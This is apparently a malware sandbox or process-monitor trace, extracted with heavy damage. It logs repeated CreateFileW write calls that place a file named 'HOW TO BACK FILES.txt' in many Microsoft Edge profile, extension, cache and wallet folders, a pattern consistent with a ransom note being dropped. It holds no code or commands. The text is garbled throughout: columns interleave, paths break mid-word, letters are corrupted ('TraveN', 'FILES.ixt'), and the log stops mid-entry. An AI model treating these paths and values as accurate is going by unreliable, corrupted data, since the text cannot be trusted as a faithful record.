Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\I\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\IW\\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\m\HOW TO BACK FILES.txt
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\mn\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\mr\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\ms\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\my\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\ne\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\n\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\no\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\pa\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\pN\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\pt_ BR\AHOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\pt_ PT\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\ro\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\rut\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\si\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\sk\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\sN\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\snHOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\s"\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\sw\HOW TO BACK FILES.txt
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\ta\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\te\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\th\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\t\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\uk\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\u\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\vi\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\zh_CN\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\zh_HK\HOW TO BACK FILES. .txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\zh_TW\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\zu\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_metadata\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non

ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non

ghbmnnjooekpmoecnnnilnnbdlolhkh\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non

jmjflgjpcpepeafmmgdpfkogkghcpi generic write directory file

ha\1.2.0_0\_metadata\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non

jmiflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non

jmijflgjpcpepeafmmgdpfkogkghcpiha\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non

HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\GPUCache\HO  synchronize | non alert | non

W TO BACK FILES.txt generic write directory file
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\JumpListico synchronize | non alert | non

nsRecentWorkspacesV2\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Local Extension = synchronize | non alert | non

Settings\jdiccldimpdaibmpdkjnbmckianbfold\ HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Local Extension = synchronize | non alert | non

Settings\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Local Stora synchronize | non alert | non

ge\leveldb\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Local Stora synchronize | non alert | non

ge\HOW TO BACK FILES.ixt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Network\HOW  synchronize | non alert | non

TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Nurturing\HOW  synchronize | non alert | non

TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\optimizatio synchronize | non alert | non

n_guide_hint_cache_store\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\optimizatio synchronize | non alert | non

n_guide_model_metadata_store\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Segmentation  synchronize | non alert | non

Platform\SegmentinfoDB\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Segmentation  synchronize | non alert | non

Platform\SignalDB\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Segmentation  synchronize | non alert | non

Platform\SignalStorageConfigDB\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Segmentation  synchronize | non alert | non

Platform\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Session Sto synchronize | non alert | non

rage\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\shared_prot synchronize | non alert | non

o_db\metadata\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\shared_prot synchronize | non alert | non

o_db\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Site Charac synchronize | non alert | non

teristics Database\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\ihmafllikibpmigkcoadcmckbfhib generic write directory file

efp\def\Cache\Cache_Data\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\ihmafllikibppmigkcoademckbfhibefp\def\Cache\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\ihmafllikibpmigkcoademckbfhibefp\def\Code generic write directory file

Cache\js\index-dinHOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\ihmafllikibpmigkcoademckbfhibefp\def\Code generic write directory file

Cache\js\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\ihmafllikibppmigkcoademckbfhibefp\def\Code generic write directory file

Cache\wasm\index-dinHOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\ihmafllikibpmigkcoademckbfhibefp\def\Code generic write directory file

Cache\wasm\HOW TO BACK FILES.txt
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\HOW  generic write directory file

TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\HOW  generic write directory file

TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\ihmafllikibpmigkcoadcmckbfhibefp\deNGPUCache\HOW  generic write directory file

TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\ihmafllikibpmigkcoadcmckbfhibefp\def\Local generic write directory file

Storage\leveldb\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\ihmafllikibpmigkcoadcmckbfhibefp\def\Local generic write directory file

Storage\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\HOW TO  generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\ihmafllikibpmigkcoadcmckbfhibefp\def\Session generic write directory file

Storage\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\ihmafllikibpmigkcoadcmckbfhibefp\deAHOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\ihmafllikibpmigkcoadcmckbfhibefp\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\ext synchronize | non alert | non

\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Storage\HOW  synchronize | non alert | non

TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Sync Data\L synchronize | non alert | non

evelDB\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Sync Data\H synchronize | non alert | non

OW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\HOW TO synchronize | non alert | non

BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\EADPData Component\ synchronize | non alert | non

4.0.2.33\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\EADPData Component\ synchronize | non alert | non

HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Designer\1.0.0 synchronize | non alert | non

.20\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge DesignenHOW T  synchronize | non alert | non

O BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Shopping\2.0.5 synchronize | non alert | non

959.0\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Shopping\2.0.5 synchronize | non alert | non

975.0\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Shopping\HOW T = synchronize | non alert | non

O BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Travel\1.0.0.2 synchronize | non alert | non

\HOW TO BACK FILES.txt generic write directory file
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge TraveN\HOW TO  synchronize | non alert | non

BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\bnp\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\ar\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\de\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\en-GB\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\es\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\f\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\frr CA\HOW TO BACK FILES.txt  generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\id\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\it\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\ja\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\nN\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\pt-BR\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\pt-PT\HOW TO BACK FILES.txt = generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\ru\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\sv\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\zh-Hans\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\zh-Hant\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-ec\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\ar\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\de\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\en-GB\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\es\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\f\HOW TO BACK FILES.txt generic write directory file
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\fr-CA\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\id\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

